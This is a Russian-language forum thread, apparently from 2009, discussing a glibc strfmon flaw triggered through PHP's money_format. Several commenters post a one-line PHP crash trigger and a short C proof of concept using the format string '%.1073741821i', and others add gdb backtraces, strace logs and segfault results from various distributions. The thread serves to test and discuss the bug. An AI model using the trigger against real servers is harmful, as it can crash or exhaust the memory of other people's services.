Опасная уязвимость в glibc

да уж, ждем исправляющих патчей,
c eglibc оно (php) тоже падает


интересно где кроме php money_format оно еще используется?

>c eglibc оно (php) тоже падает

Спасибо за информацию.

<p mode="Vanga">Но этот факт не помешает десяткам троллей заорать «eglibc рулит, glibc R.I.P.!!!1»

java рулит, а все остальное это плоды черной зависти тех кто не осилил жаву.

>java рулит, а все остальное это плоды черной зависти тех кто не осилил жаву.

И вовсе не ява, а брейнфак. Вот это — действительно секурный и, главное, совершенно прозрачный язык!

РЕШЕТО! что и требовалось доказать - в GNU world не могут даже нормальную glibc написать.

может быть угостите линком на свой проект, подобной сложности, в котором нет ошибок?

Печально вообще. Debian Lenny/Etch еще не отреагировали. Наверное майнтейнеры glibc усердно ищут багу в gcc, которая привела к таким последствиям.

В эксплойтах будет использоваться

Линупс опасносте!!1111

Может я где то наплужил?

AliSo ~ # for file in /tmp/danger $(find $(echo $PATH | tr : \ )); do if [ "$(objdump -T $file 2>/dev/null | grep strfmon)" ]; then echo "$file"; fi; done
/tmp/danger
AliSo ~ # 

Решето!!!!

В переводе на Си это будет так?

#include <monetary.h>
#include <stdio.h>

    int main(int argc, char **argv)
    {
        char buf[1024];
        if (0 < strfmon(buf, sizeof(buf), "%.1073741821i",1) ) {
            printf("conversion result: %s", buf);
        }
        return (0);
    }

Данный код на моём компе (x86_64) просто зависает:

Starting program: /tmp/c/strfmon_ex 
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
^C[New Thread 0x7fb1f665a6f0 (LWP 19845)]

Program received signal SIGINT, Interrupt.
[Switching to Thread 0x7fb1f665a6f0 (LWP 19845)]
0x00007fb1f5f3c401 in __mpn_mul_1 () from /lib/libc.so.6
(gdb) bt
#0  0x00007fb1f5f3c401 in __mpn_mul_1 () from /lib/libc.so.6
#1  0x00007fb1f5f431f0 in hack_digit.12485 () from /lib/libc.so.6
#2  0x00007fb1f5f441d3 in __printf_fp () from /lib/libc.so.6
#3  0x00007fb1f5f39e58 in __vstrfmon_l () from /lib/libc.so.6
#4  0x00007fb1f5f395e1 in strfmon () from /lib/libc.so.6
#5  0x000000000040054f in main ()

<p mode="Vanga">Но этот факт не помешает десяткам троллей заорать «eglibc рулит, glibc R.I.P.!!!1»

Ты прав, но тег всё же надо было закрыть :)

> java рулит, а все остальное это плоды черной зависти тех кто не осилил жаву.

Нет, просто на всём остальном надо уметь писать, а не щёлкать клювом.

З.Ы. Ничего не имею против явы, если она не используется при написании приложений, требующих больших вычислительных и др. ресурсов. Тот же azureus - программа неплохая, но аналоги на компилируемых языках к системным ресурсам относятся не в пример бережнее.

теперь все посты ниже будут исполняться один за другим :)
спешите запостить самые сокровенные желания!

Вендекапец!

>Вот это — действительно секурный и, главное, совершенно прозрачный язык!

Совершенно прозрачный - это whitespace.

>В настоящее время информация о багфиксах отсутствует.

а почему тогда написали про эту уязвимость.. с другими уязвимостями поступали наоборот ведь вроде.

Подробности "от и до":
http://securityreason.com/achievement_securityalert/67

Пока что только в NetBSD все пропатчено. Причем данная дыра открыта аж с марта 2008 года, безусловно в NetBSD все пофиксили, а "гнушники" до сих пор не верят, что их код уязвим:

>We have informed glibc team.
>However, the description of the issue and fix was not enough for gnu team. They has changed status for BOGUS and response was:

>And what exactly does an BSD implementation has to do with glibc?

php -r 'money_format(«%.1073741821i»,1);

А у меня не работает :(

+1, просто висит и думает. Имхо, проблема, наверное, не в глибце, а в х86, ибо на amd64 не пашет :)

Там апострофа в конце не хватает

>> php -r 'money_format("%.1073741821i",1);

> А у меня не работает :(

php -r 'money_format("%.1073741821i",1);'

Закрой кавычку.

РЕШЕТО!

У меня segfault.

Мда. Дождались таки капца, к приближении linux к 5% уже вон что начало вылазить, а что будет при приближении к 50%?

Нет, совершенно прозрачный язык это вайтспейс! :)

Program received signal SIGSEGV, Segmentation fault. 0xb7e4bf1f in __printf_fp () from /lib/libc.so.6

<коммунист-моде>
а вообще, ещё одно доказательство, что все беды - от денег
</коммунист-моде>

> У меня segfault.

x86_32 или _64?

$ php -r 'var_dump( money_format("%.1073741821i",1) );' && echo ok
bool(false)
ok

P.S. x86_64

У меня не падает.

Вот и я не понимаю, какое отношение libc NetBSD имеет к glibc.

вот почему в ньюсах об уязвимостях BSD "РЕШЕТО!" является первым комментом, а в ньюсах о линухах - пятым?

>вот почему в ньюсах об уязвимостях BSD "РЕШЕТО!" является первым комментом, а в ньюсах о линухах - пятым?

Линукс, как более совершенное ядро, позволяет линуксоидам обсирать бздунов в реальном времени, а у бздунгов вечно лаги.

prodoomman@timekiller /tmp $ php -r 'var_dump( money_format("%.1073741821i",1) );' && echo ok
bool(false)
ok
Приведенный выше код на Си тоже завершается корректно.
[I] sys-libs/glibc (2.9_p20081201-r2(2.2)@27.08.2009): GNU libc6 (also called glibc2) C library

+1,

denis@laptop:~$ php -r 'var_dump(money_format("%.1073741821i",1));'
bool(false)

> java рулит, а все остальное это плоды черной зависти тех кто не осилил жаву.

+ много

а нифига не пашет и ничё не крешется

висит пару секунд и всё (и пхп после этого нормально работает)

[root@monitor htdocs]# php -r 'money_format("%.1073741821i",1);' [root@monitor htdocs]#

[root@monitor htdocs]# cat /etc/redhat-release Red Hat Enterprise Linux Server release 5.4 (Tikanga)

[root@monitor htdocs]# uname -a Linux monitor 2.6.18-128.1.14.el5_lustre.1.8.1 #1 SMP Mon Jul 20 07:30:22 MDT 2009 x86_64 x86_64 x86_64 GNU/Linux

[root@monitor htdocs]# rpm -qa | grep glibc glibc-headers-2.5-42 glibc-devel-2.5-42 glibc-2.5-42 glibc-common-2.5-42

[root@monitor htdocs]# php -v PHP 5.2.10 (cli) (built: Sep 16 2009 11:39:53) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies

Фига се. А я думаю, чего это мой знакомый админ после каждой компиляции с хитрым видом сносит gcc.Теперь понятно - это из-за уязвимость.

>Фига се. А я думаю, чего это мой знакомый админ после каждой компиляции с хитрым видом сносит gcc.Теперь понятно - это из-за уязвимость.

Дык в плане безопасности гораздо лучше иксы на сервере, чем компилятор.

А вот в centsOS:

uname -a

Linux mutabor 2.6.18-8.el5 #1 SMP Thu Mar 15 19:46:53 EDT 2007 x86_64 x86_64 x86_64 GNU/Linux

strace php -r 'money_format("%.1073741821i",1);'

...

gettimeofday({1253349444, 804228}, NULL) = 0 time(NULL) = 1253349444

time(NULL) = 1253349444

.... (много раз time(NULL)

time(NULL) = 1253349444

brk(0x9fee000) = 0x9fee000

open("/etc/krb5.keytab", O_RDONLY) = -1 ENOENT (No such file or directory)

brk(0x9fec000) = 0x9fec000

futex(0x376be28ef0, FUTEX_WAKE, 2147483647) = 0

stat("/dev/urandom", {st_mode=S_IFCHR|0444, st_rdev=makedev(1, 9), ...}) = 0

munmap(0x2aaaaaf61000, 266240) = 0

brk(0xa02f000) = 0xa02f000

time(NULL) = 1253349444

fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aaaaaf61000

lseek(0, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aaaaaf62000

lseek(1, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)

fstat(2, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

lseek(2, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) mmap(NULL, 4294971392, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aaaaf272000

mmap(NULL, 1073745920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aabaf273000

---------

После чего висит и segmentation fault не случается

В клиентской fc11 segmentation fault в полный путь

да точно я тож хотел выложить стрейс текст большой получился

mmap(NULL, 1073745920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aabaf273000

вот на этом месте висит немного а потом дальше идёт и всё чисто

В багзиле Red Hat этот баг висит с 3-его сентября, до сих пор стоит статус NEW и ниодного комментария, фиксов тоже нет. Где же наш любимый Ulrich Drepper?

>x86_32 или _64?

pps_32

php -r 'money_format("%.1073741821i",1);'

Тупо забивает память - убил его до sf.

andrey@andrey-desktop:~$ php -r 'var_dump(money_format("%.1073741821i",1));'

Segmentation fault

andrey@andrey-desktop:~$ uname -a

Linux andrey-desktop 2.6.30.5-nilfs2 #1 SMP Sat Sep 5 22:12:20 MSD 2009 i686 GNU/Linux

>И вовсе не ява, а брейнфак. Вот это — действительно секурный и, главное, совершенно прозрачный язык!

Уайтспэйс прозрачнее.

> В багзиле Red Hat этот баг висит с 3-его сентября, до сих пор стоит статус NEW и ниодного комментария, фиксов тоже нет. Где же наш любимый Ulrich Drepper?

https://bugzilla.redhat.com/show_bug.cgi?id=496386

Закрой кавычку.

Это я и сам догадался.

[ximen@ximen ~]$ php -r 'money_format(«%.1073741821i»,1);' [ximen@ximen ~]$

Мгновенно и даже не думает.

Кто-то из вас троих виртуалов спалился.